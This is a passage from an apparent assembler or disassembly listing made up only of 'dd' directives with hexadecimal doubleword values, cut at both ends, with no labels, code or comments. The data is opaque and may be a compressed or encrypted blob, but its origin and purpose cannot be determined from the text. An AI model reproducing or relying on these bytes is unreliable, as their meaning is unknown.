39DEC287h, 0BBB34207h, 0E7FF065Fh, 4AAE749Ah, 0FA85F95Eh dd 4B562EBEh, 0D72FBA1Eh, 94DD40BAh, 30524BFAh, 68575A00h dd 12C38F49h, 0D2F138E9h, 0C4D5E62Bh, 0BD07AA20h, 4B9E019Ah dd 0F367D8BBh, 4E0FDD4Bh, 591EB056h, 599EA429h, 45F43E31h dd 2A20044Eh, 53DA8919h, 87D93705h, 75237701h, 56707480h dd 6CF99565h, 34042EA6h, 6883C2FEh, 0BB0485E5h, 5100C36Eh dd 3A373EB9h, 0F1811501h, 5FC91345h, 0E95DA42Fh, 5873CE7h dd 4FFA2CC5h, 9006ECD6h, 2551FC16h, 577C5AEDh, 0FD83E904h dd 23E031EEh, 0DDF701ABh, 6F02BE3Ah, 0E1F995C3h, 0A53AEB21h dd 54E6A7FAh, 5E804F06h, 0E932DE12h, 5DA2BD2Fh, 13F6331Ah dd 0FC113982h, 2E205722h, 2E2B1642h, 9A6C71B1h, 0EA944A28h dd 4806EF88h, 0CA031BD1h, 2005134Fh, 0BFA71740h, 64F8C005h dd 0F7B8D601h, 0CD0E2B05h, 61FE50Ah, 33F41C08h, 5D765616h dd 3A173DFFh, 0B4E1B494h, 6851C02Fh, 0B1BB2BB3h, 517D2001h dd 0BEF84F7Bh, 60269642h dd 5A8D63E0h, 22772D00h, 0C0352C20h, 458C2501h, 0C7098542h dd 368E8603h, 0AA91E2F3h, 70B5D452h, 2D016000h, 51F9C369h dd 30D231h, 0BE5BE07Ah, 40E34B61h, 7C1D48C1h, 9F81BA5Bh dd 5E020E5Ah, 5B2D5C55h, 0B246DA60h, 7B12BA15h, 0E924C429h dd 0E361EF75h, 0CD6E871Ch, 58E01273h, 0D148B9DDh, 0C319913Fh dd 8F17BEEh, 0EB6DF2EFh, 2D9CB1B8h, 0EAE5E628h, 9ABE4713h dd 31CA4A72h, 24659A40h, 9351579h, 0D1F662D2h, 156B2C59h dd 1259D8Dh, 6F771909h, 0E6D625C4h, 0E4EA7E27h, 0A9D18151h dd 0FF671766h, 5C917982h, 0EA4293C8h, 8F6E339Dh, 31BB5EF1h dd 3439E975h, 0CD03BE3Ah, 298BCEEEh, 0B35BE1F7h, 94C15597h dd 48A2FA83h, 14B91860h, 93B068B1h, 85405C09h, 0DFED8026h dd 342F987Eh, 1A1CCF29h, 140B1C08h, 0C2E99A99h, 0C1C216EAh dd 60B47E57h, 790B67DDh, 5CD2EBA0h, 3405782h, 81F3F4Ah dd 0E17C01E0h, 2B628968h, 0A09F76EAh, 0FD594C08h, 0E780E10h dd 5BDA880Fh, 0B6CCD94Ah, 26D60AAFh, 0E1BBB944h, 7DF0E8AFh dd 292A0409h, 87C88C8h, 7E332D00h, 25E96466h, 0A0739316h dd 2AEA57A5h, 62F77042h, 0A31BF79Eh, 996842Fh, 6ABCF7C2h dd 3227FCF9h, 0F217802Dh, 0DE0882A5h, 0A0A48B32h, 54BEA5Ch dd 95493DAFh, 932AAE66h, 4A082B50h, 2BD509FBh, 880D3560h dd 655A6C00h, 0B9731335h, 1DCEA53h, 1A6468Ch, 7F9AE9C2h dd 67ED6E40h, 917BC122h, 485D6990h, 0BF67E9D5h, 690E02C8h dd 587F122Dh, 3307DA1h, 8F0F3C4Eh, 5702AE40h, 0A3F1C6C2h dd 6B8B55BCh, 9BBAC520h, 11983009h, 310E789Eh, 1EEF4CFDh dd 48367DCAh, 0DC06081Bh, 1C93C3DEh, 42BE5D4Bh, 402EE9A8h dd 0C69323DCh, 305BC6B3h, 168BBDC5h, 0F061142Dh, 0E5811D6Dh dd 1BE1CBF2h, 9BE0A575h, 7891F2EFh, 79BD213Ch, 36F3644Fh dd 0C465C510h, 4C1D5B77h, 0EEED2672h, 0B54818FCh, 5EF31756h dd 0D9745709h, 37FC866Ah, 0E525F8C6h, 710D5DFh, 7A2F25D3h dd 6E32FD1Ch, 2140C08h, 688F2FADh, 724B1344h, 0BC4A650Ah dd 83A59308h, 0BC7975EAh, 0E2706C2Fh, 0E980FF04h, 68505C54h dd 27EF805Ah, 25A480FCh, 6E95784Bh, 0FE220B35h, 3861D6FDh dd 0E9898501h, 0BCAC3133h, 0BD0F786h, 3AFB9AD7h, 7A67276Ch dd 5ACE2D1Ah, 2A3E2552h, 0A745BD38h, 0BB34E052h, 0F91526EDh dd 15D0190Ch, 0CFFC3F30h, 8C2CBA5Fh, 0B4185FE9h, 50BD3196h dd 0C2E8B4D8h, 365853E9h, 41825B9Dh, 8F83F3E9h, 0C04F4625h dd 0F475F4Ah, 96CE2689h, 0E89393F2h, 90CC4EB0h, 5FCD16B2h dd 51D9A05Ah, 0FB7DB526h, 0E9D6E00Bh, 0A57AF1F7h, 46E82ABCh dd 6F212499h, 5C270EE7h, 2F15734Dh, 0A4BC5E9Fh, 0ED0A2300h dd 7EAC105h, 217A0790h, 0C938DA24h, 0F7438F03h, 14180058h dd 90C749Eh, 0AE5BE9D1h, 0DF97A00Bh, 0C8BF1483h, 0A4BC105Ah dd 88EBEA1Eh, 773CA8AFh, 2BFC16D6h, 5810D337h, 22E98B3Dh dd 1C9528Ah, 0B13E25B8h, 60C2892Eh, 101EAF3h, 0E94AD2F7h dd 2A9E62F1h, 0CB20EC88h, 0CA396E52h, 0D8F28566h, 75F195E9h dd 3D30AF30h, 0DD127E29h, 4DEBD0B3h, 777BA070h, 58120749h dd 14EB0268h, 0FD8DBCFAh, 54FB6F8h, 17EF5240h, 0C323602h dd 0C469830Fh, 7F0BF74Dh, 5422CB86h, 8CB24058h, 664F19B6h dd 68CF64FCh, 0BA121D8Eh, 62E97A9Ch, 0D1F79DE4h, 2608CC80h dd 72902A4Dh, 0D7F8014Bh, 0AECA81C0h, 715AD577h, 83428F80h dd 0D90150C2h, 4108179Ah, 0A70B08D7h, 2E8E0F03h, 0AAC74E61h dd 8BE9D242h, 3789C469h, 0C0D18F9Dh, 3FD1A91Eh, 975A78B7h dd 3F834989h, 12003119h, 7B1BBE56h, 24217848h, 3EA5EF0h dd 7E8AE997h, 0BA98685Ah, 0A95C4E2Ah, 0F040CBB3h, 0F9012E53h dd 233A0C62h, 4B050524h, 29BD9FEFh, 84938FF2h, 8664AC45h dd 5B73CD3h, 7E4467C3h, 8CE3010Bh, 22A4743Fh, 0F2AF1392h dd 5A4431FFh, 9CD424C5h, 304D4162h, 1B3500AFh, 5603786Dh dd 0C6FED2Dh, 7096F915h, 6EEA412Fh, 30624520h, 0FD08DCE4h dd 1221605Ah, 9620151h, 7A013405h, 0B4C95490h, 90DC7A27h dd 6A9D09E3h, 8C7F1949h, 7CEEBA14h, 0E877400Dh, 6898687Ch dd 900C6620h, 0F6F90707h, 20C5FED5h, 16B353CDh, 0A549DEBFh dd 5F272567h, 0D475B69Ah, 0A2CDE5BEh, 61FFD236h, 4B94F8Eh dd 2210FAC0h, 892324F4h, 6D253F43h, 1CBFD900h, 0AE98795Bh dd 56C3C703h, 0F5E97A7Fh, 0F34F69A8h, 548C66ECh, 0B3E91679h dd 6349317Ah, 0F083040Dh, 3CA55812h, 193DA518h, 0DBB7AEE7h dd 9FFE0B25h, 9470A22h, 0FEDACCD7h, 3A51FFBh, 0A9E8C9F0h dd 5E034FA9h, 0D7602FD7h, 0CF5A0FE6h, 2A1AB50Dh, 6F759E2Bh dd 131A34B7h, 2186611Fh, 5F4F96FBh, 6C5768FAh, 0D7BA42BFh dd 82695A5Bh, 75896303h, 1E2D49CCh, 4F39F923h, 6B8BAEB2h dd 0A750592Dh, 0E9445C9Dh, 67D5B5Fh, 0E2C8FE9h, 0F74EB62Dh dd 0E8680810h, 0F599574Fh, 3603E72Ch, 3D2D32CEh, 0EB00B5Fh dd 61052D68h, 0E961CC54h, 0AD0398EAh, 265177F9h, 54E500EAh dd 4E94E52h, 6657800Ah, 2348BF7Bh, 9C0D2602h, 8A3F19C0h dd 976B614h, 26A97D5Ah, 0C41C45D8h, 92BE9E5Ch, 4DE4BDDDh dd 0B05F13A3h, 1A2AD045h, 56052570h, 78DB8C0Fh, 0B3F140FEh dd 0E949434Dh, 6D0B1C5Eh, 9D1ECC5Dh, 9BF4285Ah, 219F7509h dd 0C36986E8h, 6BF60545h, 9349706Dh, 0F986669h, 8F4BCBE9h dd 3097DFAEh, 85C1705Ch, 198F1D3Dh, 2067A401h, 11882508h dd 5D7A6D5Eh, 0E961EA45h, 888E562Eh, 0D2E54D5Dh, 10A7A30Ch dd 0AB4F7666h, 7FDA0262h, 68F3D5A0h, 58B754F7h, 0E9078050h dd 0AC1D4F50h, 61BBC4AEh, 4C5BCCBBh, 5B588B9Dh, 0F26C0939h dd 75648FCAh, 0DCA14ABDh, 35823FB9h, 3A20E6Dh, 0FEDF8F7h dd 6C5E10B5h, 4063C7A0h, 22050565h, 21727DDEh, 801040EFh dd 1DFB6FFh, 39BBCE4Eh, 27B730EFh, 6F80601Fh, 4C59F200h dd 0B14A091Fh, 0D38682ABh, 9F719960h, 28FCE985h, 2A99DDBBh dd 0EC5957EFh, 90A116ADh, 0C2D374EAh, 0BADF76F7h, 96DE007Fh dd 256C672Dh, 15201E9h, 0DDC1429Fh, 31586FE8h, 654B8B98h dd 6CAA4512h, 0ED4EE9DDh, 0F7AE0412h, 44EB5AD7h, 0B8E5E9E4h dd 0DFE94BB6h, 0A4DF0097h, 17E3F49h, 3734744Bh, 1DFC0C12h dd 250FE9B1h, 63133E75h, 20071914h, 5B86FE5Ah, 0E25410Ah dd 6C52B72Bh, 8230719h, 0E9575458h, 2D12465Eh, 0E6142A53h dd 65682F65h, 40206874h, 660BE916h, 0D6E1E4h, 0BF78130Dh dd 0AE8964EFh, 720F0CB7h, 0AB371641h, 0E958C11Bh, 0A5FD3A97h dd 4D1EBB4Eh, 4E9DA6D5h, 0C2599CEAh, 0E314F209h, 0D6368915h dd 0BFE98E34h, 0ACCDEAD3h, 3E25FE2Bh, 3ACAC08h, 714A6859h dd 8026D92Fh, 78F3B8BEh, 216A2E5Bh, 5ACF8F7Ch, 0AB7A05C4h dd 850F6801h, 2EBE595Ch, 0EB38EB5Ch, 8835E9C0h, 43EA0AB2h dd 56608AA0h, 22C3B104h, 0B1861D4Ah, 0CF90341Ah, 28F8AAA9h dd 0F078E912h, 0BAB55F44h, 2623CCF2h, 0A4E1F7E9h, 0A5B809E7h dd 0DB8C275Eh, 0AC76FBDh, 0A61ED444h, 542E0295h, 0E20016FCh dd 1837FF77h, 0FF654AE9h, 57823D09h, 98FE8D64h, 0BE758097h dd 989B790Dh, 2FF60587h, 0C030A476h, 0F83D80BAh, 9A686B09h dd 0BEA8714Dh, 0AA6B844Bh, 6809E02Bh, 9D7E46C4h, 553D1B62h dd 0EDC11098h, 94B8025Eh, 0D16F93DDh, 546BA96Ah, 107BE23Eh dd 5C24B0FAh, 0C9991F37h dd 10D719C4h, 4862468Fh, 9113F2E4h, 26F5F7C3h, 0C6082756h dd 9A438C52h, 754CBB71h, 5AB9D6D4h, 5A297114h, 0A385F96h dd 0AC17B5BDh, 0EE68C26Bh, 0BF1A465Dh, 5F704B56h, 7BF931E9h dd 6CC2F489h, 0D83085C8h, 4A5EE7FAh, 305639AFh, 9895540Dh dd 4B3F4226h, 40CFCAFh, 2BF25D26h, 68A2AC03h, 0E9D62198h dd 9081924Fh, 0E660CB88h, 2C5EBD60h, 0A3AD57C9h, 42316087h dd 0D54A1AB7h, 1A5AC6C4h, 6F0839FBh, 598F832Ch, 0EB205DD9h dd 2170AC27h, 4CF767FEh, 0A503CCE8h, 4A9920DFh, 586CB72Bh dd 129458B3h, 0B4BB126Dh, 5F17CB86h, 74D6182Ah, 3218C108h dd 3B8AE3E1h, 5955CEB3h, 8A60EA3Bh, 0BD5D4B68h, 0CF82941Ah dd 7756E84h, 0DA9AC5C7h, 398F6861h, 2AA2CE2Fh, 0E78CB5C3h dd 8200A490h, 0F772D579h, 957AE9D8h, 6CB94B80h, 954B6D85h dd 0C8312781h, 0E95D8509h, 2BD817C4h, 437EF3CCh, 0C7FE94A7h dd 0F71E0477h, 5B03203Ah, 92E9DEF6h, 89C6F583h, 0A6736727h dd 9D06D522h, 4C97079h, 3EE27A26h, 65D33578h, 50880483h dd 0FD29057Bh, 91ECC085h, 8555B95Eh, 8CD452B5h, 0E7DBC620h dd 0AF9E4E7Eh, 0B20711Fh, 460A12B7h, 0A21DCB5Fh, 8A79F5EAh dd 6D96804h, 60B88FAFh, 4F0A68DAh, 0FA234A77h, 0C2A99C25h dd 1C02D88Bh, 0E608B14Fh, 58D5C5B2h, 1033A0C3h, 60422658h dd 8C762DF5h, 9ED3018Ah, 0E0EC9C12h, 413414DEh, 7E916FC2h dd 57C94C60h, 32583D12h, 8272E000h, 9889E1C2h, 3D68555Bh dd 75F8E712h, 609D602Ah, 1C8759CBh, 0CB8B7495h, 4A81445Fh dd 82AE9114h, 0D29F3251h, 0FE8A63EFh, 0EDD107ECh, 5BA03974h dd 8DF05B68h, 0F5E04008h, 0DAF7ED2Ah, 36E4EA58h, 8488A2Fh dd 0E90A0722h, 8683A6AEh, 76D5F6EEh, 0FEF70008h, 7EB652CFh dd 748E6C0h, 0C6800E46h, 5E937D95h, 0FC96D2F2h, 0A3304CB9h dd 300C7E83h, 0E61D8C19h, 463B6EC0h, 0CFCE004Bh, 50100240h dd 0D3AD4EE9h, 0DAC66651h, 155EB903h, 0D8BD0EB8h, 3B7DA051h dd 0FB12CD31h, 0D7C2E889h, 0E9EB2CBBh, 9DB2695Ah, 0DF77C101h dd 2AF22963h, 902A3B1h, 20E6089h, 4F1EBA84h, 8852C1B3h dd 872CC8DDh, 63BF594Eh, 0A36F152Ah, 5806924h, 1DBE283Eh dd 24966755h, 0DFD0302Dh, 1EFF11A9h, 0ABAE20ECh, 85E15D4Ch dd 99ECE24Dh, 12CF6882h, 4F783875h, 1C5A62Fh, 0C28814B0h dd 43EAC058h, 9867DADEh, 4E1D69DCh, 95505DF8h, 0E962F3D1h dd 12405C6Dh, 23F0AB5Bh, 0BBD99F7Bh, 0D963EF02h, 1327E5Ah dd 9EE9CA31h, 6412BB7h, 27FB6553h, 0DAB863Bh, 8009315Eh dd 0BCFA75C5h, 5A9F5CB0h, 0BE55F6F1h, 20778F43h, 26AA8C06h dd 608D5D97h, 92522A06h, 5007A3EEh, 578191EBh, 6DDF1BA5h dd 0BB5F92F9h, 34E9B2DCh, 0BA444F2Dh, 578A2081h, 0EF58123Ah dd 50EAA999h, 4B474BBBh, 8C5E1E16h, 2731FF25h, 65AA051Ch dd 7C3B077Eh, 0AB5E4502h, 581D6089h, 0A1F4102Eh, 6E67A304h dd 68C0FE4Dh, 984EFD75h, 1D1C0C6Ch, 450C1B61h, 949F6B16h dd 680B14FCh, 97565A44h, 966EC62h, 1828D60h, 12305F3Eh dd 37FE7444h, 19CA93C0h, 7245834Bh, 30AEA553h, 9730513Eh dd 64AE4C5Fh, 0E90C0249h, 735F662Ah, 0A04E92E4h, 70EC52FAh dd 0B1FF8495h, 0A6488983h, 96F50563h, 82DD94B8h, 69F75DD7h dd 0C655917Ah, 89528AFEh, 1E79D75Ch, 304755C9h, 22E36CA7h dd 0BA386CCBh, 2DFF4B1Ah, 0B6E82BC5h, 212DE9ACh, 0BB7F489Eh dd 0EE29C043h, 7FF23F25h, 0A4E9214Fh, 0AB16BB96h, 6C95F1A2h dd 60E668A0h, 4F7BB1C6h, 59CC3C17h, 83DBB913h, 60FADD98h dd 8125F6A7h, 0D44A7E10h, 650755C7h, 6A1F0519h, 63E94730h dd 0A451C536h, 2AE42D4Dh, 0EE0116BAh, 0F64EAE9Eh, 3AE985C6h dd 0B15A1493h, 0AF05956Eh, 0C4AAA2C5h, 2755BD9Bh, 48A616F7h dd 0DFC75857h, 0E5F50961h, 0C15FA7EFh, 0C9A74081h, 20E7B2F5h dd 0C0B050ADh, 58C33888h, 47E9DC05h, 6F15B379h, 0A94C8439h dd 0AF794BFFh, 0C2F35C48h, 99273977h, 0D0945589h, 59CE0125h dd 0D366C31Eh, 8BA4B06Eh, 0C39F215h, 0FA90248h, 0DC14C5Ch dd 0C7E9D901h, 0FCCBEFBBh, 973F3E2Fh, 4FF1A73h, 0BE0D18C3h dd 41323D38h, 65B32073h, 2EE495h, 0BD54ED88h, 20C5125Fh dd 5E647BDh, 5E55D029h, 0E90F2113h, 0BA0250C8h, 3A392E69h dd 0CB581EFCh, 3CC5976Eh, 23ACEC0Ch, 62C26D8h, 536F095Dh dd 3889AC59h, 4F9A466Ch, 0AB6184B2h, 80A51BECh, 55514653h dd 3F5A6805h, 0E8A06F60h, 0F7CD67EEh, 7F64E052h, 40975E3Bh dd 2D1F15E1h, 73F62B53h, 632DF411h, 3FF2654Ch, 7250D1A9h dd 18E25B02h, 63ADB750h, 0C8FE2099h, 22C08DD2h, 81A8BA1Ch dd 51D26F08h, 1D2C4BA9h, 0BE688470h, 0C174B84Bh, 35D302D8h dd 0D654927Eh, 0E6B250F5h, 34A93B64h, 0FA4F60Eh, 1BE90E02h dd 0E0FFEFABh, 0B6C5CDEh, 535D4470h, 7D38DE02h, 38D51D5h dd 4E7476D5h, 0AAD1B616h, 4C7CAAAh, 0C4021A0h, 0C200EFECh dd 64E71210h, 0BDC6E9h, 7AFAB886h, 4E137A98h, 0A0665274h dd 3D065FFFh, 5B35091Eh, 0A8E9130Bh, 6F74ABB5h, 4B3D0CF4h dd 0A8CB2413h, 0DA4E9F1Ah, 0CFAF1271h, 8FE909F5h, 927D72D6h dd 30C07B85h, 2D164CB8h, 6587F6Bh, 8E031877h, 78CF8014h dd 0C4834A43h, 47A2BEB3h, 47F4A7Bh, 0A98958AAh, 7C3502E4h dd 0DF80CAFCh, 4DF5B5E2h, 0BB770CC8h, 0CF77283Eh, 5EC4464Eh dd 0FAB4B4E8h, 64F4B9A0h, 0EFF787A4h, 0E8BBBC40h, 986D2C17h dd 3E20F1B1h, 0E9F0A04Bh, 0F78F54E6h, 185B4CDFh, 2044250Eh dd 0D907FE74h, 601C6067h, 82389DE3h, 1D2F5Ch, 548071B7h dd 4905EBC1h, 267F15D1h, 9BB464Ch, 0C6FF5EE4h, 48842FA3h dd 392FD666h, 881D7237h, 24F305B4h, 832EA72h, 0BD16DB3Fh dd 0F56C56FFh, 6A83FBF0h, 0B3413B1Ah, 52EA5726h, 4E715857h dd 0C795BF58h, 0EC3F2EBh, 897A3068h, 1A987F89h, 54BF5B65h dd 0C664781Ah, 3AF84A4Ah, 20A10668h, 7DE9170Bh, 99CAD80h dd 0F0F06647h, 326817E4h, 979F62Fh, 573FBF4Ch, 0C255E004h dd 520B6CD2h, 0D0D8BD01h, 1995D713h, 0FEFCF356h, 3F2E5803h dd 25B9E281h, 0C0D8035h, 57053949h, 31990BBFh, 8B006E13h dd 373B7243h, 0CD43C0BFh, 0F4C14F3Eh, 7A4F4156h, 257B2DE7h dd 66F3A23Eh, 0BE57E0AFh, 0D76912DDh, 5892001Fh, 4E271A70h dd 8998E92Fh, 4908D724h, 0AFF116B2h, 9DF01D31h, 5CEE8E24h dd 0C0B73439h, 0CAE96FC6h, 15E6BA5Eh, 0CDA1625Fh, 8028D17Dh dd 0D766FBB8h, 0F76A2D70h, 0DE10B20Bh, 6ED55C25h, 4CB1FEA2h dd 4B44AC4h, 0B6F1AC1h, 51770646h, 0A7F50127h, 893BBD5Ch dd 7C76F4EFh, 77BD3AE1h, 0E9C0A68Bh, 74E5668h, 7EA01231h dd 61576602h, 0A9E780Fh, 157518E7h, 31FEB62Eh, 5FC2A90h dd 85BAA31h, 0F43F7D1Ch, 0ED62DFFh, 4E9B680Dh, 4F27E92Bh dd 98EB89C4h, 2C31CED5h, 544CD48Eh, 61749988h, 0B7C21A3Dh dd 22F27DDDh, 0C19234F6h, 17AA52B5h, 51A3829h, 0F57360DAh dd 47E46E1Fh, 50B18881h, 0E334D427h, 0E1C3C423h, 712E480Fh dd 3A29EB5Eh, 0EB66C56Ah, 0D24A5A8Bh, 9F565D96h, 471F5F4Ah dd 6E508E2Fh, 0D1F766E1h, 31037A10h, 0DDD7B19Fh, 0FB5FC217h dd 10D624EEh, 16D54CFFh, 2537532Eh, 70E8C3E4h, 47D7F707h dd 69F34081h, 8B972A03h, 53FA7C93h, 518D59C1h, 0E0028FE8h dd 2FB1ACE2h, 41BDA2AFh dd 65BF564h, 0DF325B7h, 0D6791785h, 0EE6800D1h, 8E65CCF2h dd 944013FEh, 0FDF06F6h, 0E5A61882h, 3871F732h, 8844E05Eh dd 9C759DC7h, 0E5E927C7h, 0BB2DE683h, 80DF9982h, 10406104h dd 72A8951Ah, 60CA2908h, 57D2BF5Fh, 0E9050704h, 0CCEF46EDh dd 0E8413E04h, 0B52877C8h, 0E8C8645Eh, 0ADCCDF25h, 594F4D32h dd 8571C55Ah, 0FAA2E95Ch, 7011C88h, 31F93A9Ah, 0A1D0D2F0h dd 21A0C475h, 0E941D988h, 77C21BF9h, 0E9E1E551h, 10644A0Fh dd 4DC98CBh, 3B1D6CE2h, 0FE61EA59h, 1664D79Ch, 68474052h dd 0A34F4B2Eh, 5EB85060h, 37E6251Fh, 6011D7D4h, 8BC4C32Dh dd 9A9F9AEAh, 0EC2A7D5Eh, 0F80216CCh, 0E0364F7Ah, 69C30B56h dd 0C87382Ah, 401B070Dh, 72B2D3Dh, 3B93D750h, 1D305441h dd 4ED89818h, 752AD294h, 0D5AA0975h, 8B438B32h, 0B22ED118h dd 125AD593h, 0EA8CB545h, 0D887AE92h, 0C8F4B5D9h, 7D4BD75Bh dd 7F6AC245h, 0FDAC7812h, 0DB5E68C7h, 32EFF830h, 86A665B7h dd 0AF5805E9h, 39871120h, 0C53FD088h, 0AAC1CC35h, 0A14CD48Bh dd 6A2EF15Bh, 0A8D2E3B9h, 46698673h, 0EBB20222h, 0D03097B0h dd 0D88AC1DFh, 0ADC0987Ch, 68154B2Ah, 7E577525h, 5175D220h dd 5B934216h, 6CF8A2E9h, 73700904h, 2E806459h, 0BC562DE9h dd 97F53425h, 8D553F73h, 0A598F42Fh, 45084312h, 191A3B01h dd 0CAD170Fh, 0DCA749D4h, 521DE2F1h, 95F2C3ECh, 0BD3B8641h dd 0DA247A02h, 29897AD4h, 8019D12Ah, 0A1F89750h, 5A13D331h dd 488ADE01h, 0B502BE4Fh, 405C1E23h, 958940CCh, 5F8CED47h dd 0BCB1D23h, 12E7BB3h, 0FEEB1785h, 9776B028h, 597F38E2h dd 0BCCB42DEh, 8F25804h, 645694CBh, 1894FD25h, 539BD90h dd 2E2F2618h, 6450FA09h, 0BE4E5FF8h, 55C9644h, 3104D5F7h dd 9227E9E8h, 927E5A6Eh, 90565763h, 72769068h, 0A05F4A4Eh dd 0CE2029C7h, 43220749h, 0D30F0754h, 0AF71960Eh, 55706A69h dd 8B2522E4h, 0A7C73EDh, 5292E77Ch, 294CFEC0h, 0F977B42Dh dd 44CF8281h, 57C02B74h, 0CC95A147h, 0BD65F45Fh, 0FABB2200h dd 790C8345h, 0DFEF381h, 0F75C5B01h, 0BF5D2C73h, 0E2ADF22Ch dd 40EE5537h, 0A178E92Eh, 751EDFADh, 95D85320h, 1E5A59F2h dd 50C141FCh, 486B3068h, 8800B809h, 0BB61672Eh, 487CD1CFh dd 6A0FB1BFh, 0FB73331Dh, 9E2A1D0Fh, 12DBF7CFh, 0CB805EBCh dd 15C4303Ch, 8E4AE974h, 9B6C59A4h, 7E02024Ch, 9CA1179Fh dd 20491B99h, 33308236h, 0E950AEAEh, 8D5549E6h, 56793C89h dd 0F5F34A2Fh, 0E583C143h, 2D053604h, 29C1EE15h, 112835F3h dd 0BED091C5h, 5B3DFCF3h, 0AAB9CA96h, 0FE531038h, 730C6082h dd 0AAE6F1F5h, 0DE907E50h, 33720313h, 0E83EE6F1h, 610B41C7h dd 0DD5020ADh, 4AECBD6h, 0AB915412h, 4FF7D02Dh, 7A008DE6h dd 296FA2B1h, 0DAC1E66Fh, 6EACECF5h, 0FB0D0CC1h, 0D17F9153h dd 0BF698312h, 6234F775h, 0C2EB0EE3h, 640F7BA5h, 41A23846h dd 9CBC61Eh, 0D2015EF0h, 70ECCF4Ch, 9F5A51F9h, 9B310D0h dd 59777BD8h, 3C737DF3h, 6B3D8006h, 0A78D122Ch, 2647E557h dd 58660928h, 0B368617Dh, 1D78D7C2h, 0BD93A350h, 82C44D48h dd 83F92DE6h, 4EE2F191h, 0F9E8C50Dh, 8FEBA463h, 0E1E90BF2h dd 9C8C5E07h, 0ECF2CF1Dh, 0D2A8BE64h, 40D1F5EFh, 51537D49h dd 124FD2Fh, 0E849BF5Eh, 0A4A7AECAh, 5BF542F6h, 0EDBC27B0h dd 0E20B460Ch, 8FD2928h, 890B0831h, 0CFA700EFh, 4D959B4h dd 0C9850F05h, 38FE13A3h, 3916B637h, 95E1C988h, 252AAC2Bh dd 0E9616058h, 37985950h, 18B75304h, 82298128h, 7E77C216h dd 36877161h, 0D3F34F25h, 0C0D38D34h, 2641AEB8h, 8B0F1B04h dd 4EEE7AC6h, 0BA120D48h, 49BA3A89h, 0C457E1A7h, 4CF1274Fh dd 0E9E11CF4h, 48A4BEA5h, 7C1907D9h, 70665FD0h, 409DC599h dd 89D428CFh, 0B06338E7h, 0C2C85F7h, 0AC7BE9D2h, 0E226D13Ah dd 96024C50h, 0C3601629h, 0E476B0DDh, 34C28006h, 0D039172Dh dd 4C3130E2h, 321BE5E9h, 0DD2F6A28h, 4E6FE709h, 2801764Ah dd 5752957Eh, 4B5531A2h, 0D590D263h, 19B752A2h, 1BE1C11Bh dd 943DA2Eh, 7E4497E9h, 9EDD9C45h, 0F2CDBDEEh, 4765EA5Bh dd 7881E3BDh, 8C1EB42Eh, 0C1D36580h, 19EE0AEDh, 0BD45298h dd 0C6748E36h, 0D9E8A144h, 405E2849h, 34266879h, 0E9170ADDh dd 938DB0FCh, 0BC56FE60h, 0EA05934Fh, 50AF8292h, 0C059376Fh dd 6BE89796h, 80E0E227h, 3105C05h, 924B5AB0h, 0F693DCF2h dd 487E5DFFh, 1F301601h, 3815A4FDh, 5373AC90h, 1C62A415h dd 0D1025CA7h, 1396FDEFh, 0CA49F302h, 0EB15E931h, 0AF94D0FBh dd 7AE487Ch, 7E222105h, 30D4AB6Dh, 0BA20813h, 0A4EBF82Dh dd 0CD363BB0h, 0BB0C1D60h, 980CB543h, 0E289BFA9h, 97B8347Dh dd 556C9A7Dh, 0C9E8F9FBh, 0D2367D2Dh, 0CBDDDE95h, 1E84CB96h dd 8E43E912h, 4E9507A9h, 21A27C2Fh, 46E882EEh, 0A0172D70h dd 8DAC503Ch, 4853742Fh, 0D55FC709h, 16B5D736h, 0CEE917CCh dd 51D7C8F7h, 3FE764B8h, 17E0CEC9h, 27B9942h, 28DB47FCh dd 0C0208495h, 29186462h, 0F955F3h, 0BC76AE40h, 0E5C11248h dd 888F0302h, 0E9C0A16Ch, 87B2CE79h, 735C8416h, 0E692E6A8h dd 0B8E9093Bh, 0F737A58h, 2E695E0Ch, 21706D6Bh, 5496EC9Eh dd 0B04314ECh, 1748F453h, 58B9FD4Fh, 1F9C1824h, 8216F65Dh dd 6EE78950h, 0BF01E6F5h, 0DC5914E0h, 7621EA3Eh, 0A94D3FC0h dd 4B842E28h, 0B0512A4h, 39C8EBCFh, 52F5B8E0h, 8351280Ah dd 5B7FC72Dh, 4A1DE12Ch, 46F24B49h, 0C462F24Ah, 0D84902C7h dd 0A7E28E8Bh, 50887455h, 8E13025h, 47A5E1B9h, 0F8AD0055h dd 974ED22Eh, 25076808h, 0FAC0C45Dh, 77AD2568h, 0BA5B94EEh dd 0F27ACAB1h, 7F8C86C0h, 0F05B7A1Ah, 62C1FA99h, 0C0F0060Eh dd 946009E2h, 0F3FA75B3h, 4C62175Ch, 0B2EA1824h, 20B866h dd 35199E23h, 4886041Ch, 2DDD89Dh, 1DDAF381h, 0A2F6AEF9h dd 0F09CF725h, 613B6815h, 3FE9097Dh, 572C920Fh, 0B112BDEBh dd 30DDBA36h, 4FA2760h, 0F745FE66h, 91F82DDh, 3EC06801h dd 0D2C1F23Ah, 27F2E0B4h, 21E4BE11h, 885E917h, 27D4F9BDh dd 2F0FEB54h, 0A262BA87h, 40465175h, 90CC28Bh, 7F06B09Fh dd 0B1ED8865h, 2D8A6A0Eh, 0DB37E40Fh, 0FEC96CBFh, 0CFBC43D3h dd 23B3E9F0h, 5DAC3FE1h, 25F2BED2h, 5336680Ah, 49D569AEh dd 438D83C5h, 9843E2Ch, 87124381h, 6006CA2Dh, 4A5E08F6h dd 9461EB5Fh, 4393288Bh, 1280F18Dh, 0C382014Ch, 0F6944A1Dh dd 0E2DB092Eh, 0D426BF0Bh, 67714270h, 0F99249D1h, 8FAA0853h dd 0FC2F6Dh, 0BD4BEEDh, 897F1F94h, 40CD13F3h, 21F2801Ch dd 28242D2Ch, 0BB1723D0h, 84178CFDh, 7BCE5D63h, 7CFE97F0h dd 96327F69h, 9AFCA4FDh, 0BA029BA8h, 43932EEFh, 7F957857h dd 621638DEh, 0FE68EB4Eh, 8253695Ah, 0A5E043DFh, 786822A0h dd 51D5C460h, 84A5AF6Ch, 60BDBB20h, 0BCF5A141h, 2F5EBEFDh dd 0A10E3281h, 290E313Fh, 6E11B457h, 4845B7ABh, 81982A7Ch dd 23568814h, 0CE01037Ch, 82E94EA8h, 5AA9FD1Eh, 0E2C2D157h dd 187D6950h, 9F0E92DAh, 0F655E01Ah, 726858A7h, 10B6624Fh dd 7BB95107h, 0D1641235h, 411545Dh, 0AC191EA7h, 3D7031B0h dd 3A5714D3h, 1AFC8AD5h, 0E629AB5Fh, 0BA9DD8FCh, 7405ECB4h dd 4D7C0F81h, 0C9C57869h, 9F90B884h, 3D4F7B9h, 7F3D057Ch dd 40BE03C9h, 736AEE40h dd 